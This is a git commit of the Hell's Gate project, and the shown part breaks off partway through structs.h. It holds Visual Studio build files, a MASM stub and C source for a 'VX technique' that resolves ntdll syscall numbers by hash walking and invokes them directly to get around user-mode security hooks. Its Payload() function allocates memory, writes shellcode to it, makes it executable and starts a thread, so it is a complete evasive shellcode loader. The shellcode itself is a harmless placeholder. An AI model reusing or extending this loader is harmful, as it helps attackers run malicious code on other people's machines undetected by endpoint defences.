This commit is contained in:
am0nsec
2020-06-02 18:22:04 +01:00
commit aade019421
9 changed files with 1169 additions and 0 deletions
+360
View File
@@ -0,0 +1,360 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*[.json, .xml, .info]
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30114.105
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB}
EndGlobalSection
EndGlobal
+161
View File
@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{dc6187cb-d5df-4973-84a2-f92aae90cda9}</ProjectGuid>
<RootNamespace>HellsGate</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="structs.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="hellsgate.masm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+32
View File
@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="structs.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="hellsgate.masm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+29
View File
@@ -0,0 +1,29 @@
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
GetPeb PROC
mov rax, GS:[60h]
ret
GetPeb ENDP
end
+207
View File
@@ -0,0 +1,207 @@
/*+===================================================================
File: main.c
Summary: Original C Implementation of the Hell's Gate VX Technique
Classes: N/A
Functions: N/A
Origin: https://github.com/am0nsec/HellsGate
##
Authors:
Paul Laine (@am0nsec)
smelly__vx (@RtlMateusz)
===================================================================+*/
#pragma once
#include <Windows.h>
#include "structs.h"
/*--------------------------------------------------------------------
VX Tables
--------------------------------------------------------------------*/
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
/*--------------------------------------------------------------------
Function prototypes.
--------------------------------------------------------------------*/
PTEB RtlGetThreadEnvironmentBlock();
PPEB RtlGetProcessEnvironmentBlock();
BOOL GetImageExportDirectory(
_In_ PVOID pModuleBase,
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);
BOOL GetVxTableEntry(
_In_ PVOID pModuleBase,
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
_In_ PVX_TABLE_ENTRY pVxTableEntry
);
BOOL Payload(
_In_ PVX_TABLE pVxTable
);
PVOID VxMoveMemory(
_Inout_ PVOID dest,
_In_ const PVOID src,
_In_ SIZE_T len
);
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
return 0x1;
}
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory);
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx);
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory);
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject);
Payload(&Table);
return 0x00;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
PPEB RtlGetProcessEnvironmentBlock() {
#if _WIN64
return (PPEB)__readgsqword(0x60);
#else
return (PPEB)__readfsdword(0x30);
#endif
}
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// MOV EAX
if (*((PBYTE)pFunctionAddress + 3) == 0xb8) {
BYTE high = *((PBYTE)pFunctionAddress + 5);
BYTE low = *((PBYTE)pFunctionAddress + 4);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
}
}
return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = NULL;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}
+337
View File
@@ -0,0 +1,337 @@
#pragma once
#include <Windows.h>
/*--------------------------------------------------------------------
STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
